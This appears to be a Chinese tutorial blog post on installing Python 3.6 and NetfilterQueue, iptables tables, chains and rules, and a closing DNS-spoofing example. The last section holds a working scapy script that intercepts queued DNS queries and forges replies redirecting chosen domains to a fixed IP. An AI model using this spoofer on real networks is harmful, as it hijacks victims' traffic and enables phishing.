一 环境安装
前要:使用python3.6以上版本安装netfilterqueue会出现报错无法安装
1.安装python3.6
前提:本机已有python3.9,在此前提下安装python3.6
问题:中间有什么报错无法进行,一般是小问题,请自行翻译,下载解决
- 获取安装包:
wget http://www.python.org/ftp/python/3.6.4/Python-3.6.4.tgz #如果嫌弃慢,自行打开网页自行下载,注意名字与后面命令一致 - 解压压缩包:
tar -zxvf Python-3.6.4.tgz - 配置环境:
apt-get install build-essential && apt-get install libssl-dev && apt-get install zlib1g-dev && apt-get install libbz2-dev && apt-get install libreadline-dev && apt-get install libsqlite3-dev && apt-get install libncurses5-dev && apt-get install libncursesw5-dev && apt-get install libffi-dev && apt-get install liblzma-dev && apt-get install python-openssl && apt-get install tk-dev && apt-get install openssl #可以直接复制 - 准备编译:
cd Python-3.6.4 - 最后阶段:
./configure --prefix=/download/python3.6 && make && make install #使用这条命令提前创建好文件夹/download,因为编译好的python3.6将会放置于此
验证:在/download/python3.6/bin下输入./python3看看是否能运行python也注意查看版本号
2.安装快捷方式
ln命令解释:linux命令
ln -s /download/python3.6/bin/python3.6 /usr/bin/python3.6 #请确保路径对错,主要是第一个路径,看看其是不是你的python3.6路径ln -s /download/python3.6/bin/pip3.6 /usr/bin/pip3.6 #请确保路径对错,主要是第一个路径,看看其是不是你的pip3.6路径
3.下载netfilterqueue
前要:无法通过pip下载,就自行手动下载
- 寻找名为
NetfilterQueue-0.8.1.tar.gz的文件,官网一般都有 - 解压
- 配置环境:
apt-get install libnetfilter-queue-dev && apt-get install build-essential && apt-get install python3-dev - 安装:
python3.6 setup.py install #前提需要cd到解压完后的目录里
二 iptables
前要:其实它就是防火墙能对自己网络中的数据进行拦截丢弃,下面只会初步简单,基于文章学习
1.结构
1.1 表
| 内容 | 解释 |
|---|---|
| raw | 高级功能例如网址过滤 |
| mangle | 可修改数据包 |
| net | 用于网关路由器上地址转换 |
| filter | 用于防火墙包过滤(不指定表默认就是这个) |
1.2 链
| 内容 | 解释 |
|---|---|
| INPUT链 | 处理输入数据包 |
| OUTPUT链 | 处理输出数据包 |
| FORWARD链 | 处理转发数据包 |
| PREROUTING链 | 用于目标地址转换(DNAT)。 |
| POSTOUTING链 | 用于源地址转换(SNAT)。 |
常用命令:
- -A
追加规则-->iptables -A INPUT - -D
删除规则-->iptables -D INPUT 1(编号) - -R
修改规则-->iptables -R INPUT 1 -s 192.168.12.0 -j DROP 取代现行规则,顺序不变(1是位置) - -I
插入规则-->iptables -I INPUT 1 --dport 80 -j ACCEPT 插入一条规则,原本位置上的规则将会往后移动一个顺位 - -L
查看规则-->iptables -L INPUT 列出规则链中的所有规则 - -N
新的规则-->iptables -N allowed 定义新的规则
常用参数:
- -p
协议 例:iptables -A INPUT -p tcp - -s
源地址 例:iptables -A INPUT -s 192.168.1.1 - -d
目的地址 例:iptables -A INPUT -d 192.168.12.1 - -sport
源端口 例:iptables -A INPUT -p tcp --sport 22 - -dport
目的端口 例:iptables -A INPUT -p tcp --dport 22 - -i
指定入口网卡 例:iptables -A INPUT -i eth0 - -o
指定出口网卡 例:iptables -A FORWARD -o eth0 - -j
后面添加规则 例:iptables -A OUTPUT -j ACCEPT
1.3 规则
| 内容 | 解释 |
|---|---|
| ACCEPT | 允许数据包通过。 |
| DROP | 直接丢弃数据包,不给任何回应信息,这时候客户端会感觉自己的请求泥牛入海了,过了超时时间才会有反应。 |
| REJECT | 拒绝数据包通过,必要时会给数据发送端一个响应的信息,客户端刚请求就会收到拒绝的信息。 |
| SNAT | 源地址转换,解决内网用户用同一个公网地址上网的问题。 |
| MASQUERADE | 是SNAT的一种特殊形式,适用于动态的、临时会变的ip上。 |
| DNAT | 目标地址转换。 |
| REDIRECT | 在本机做端口映射。 |
| LOG | 在/var/log/messages文件中记录日志信息,然后将数据包传递给下一条规则,也就是说除了记录以外不对数据包做任何其他操作,仍然让下一条规则去匹配。 |
| NFQUEUE | 用于将数据包委托给用户态应用程序裁决如何处理数据包 |
2.实战
-
允许访问22端口:
iptables -A INPUT -p tcp --dport 22 -j ACCEPT -
允许向外访问:
iptables -A OUTPUT -j ACCEPT -
转发的dns服务提交给用户处置代号为0:
iptables -I FORWARD -p udp --dport 53 -j NFQUEUE --queue-num 0 -
删除所有规则:
iptables --flush
三.dns欺骗
前要:netfiterqueue官方文档
import netfilterqueue
from scapy.all import *
def process(p):
sp=IP(p.get_payload())
dns_list = ['www.ak47.com','www.m4a1.com','www.awp.com']
if sp.haslayer(DNS) and sp.getlayer(DNS).qr == 0:
ip = sp.getlayer(IP)
udp = sp.getlayer(UDP)
dns = sp.getlayer(DNS)
dns_text=dns.qd.qname.decode()[:-1]
if dns_text in dns_list:
a = IP(src=ip.dst,dst=ip.src)
a/=UDP(sport=udp.dport,dport=udp.sport)
a/=DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,rdata='192.168.1.1'))
p.drop()
send(a)
print('ok')
p.accept()
queue =netfilterqueue.NetfilterQueue()
queue.bind(0,process)
queue.run()










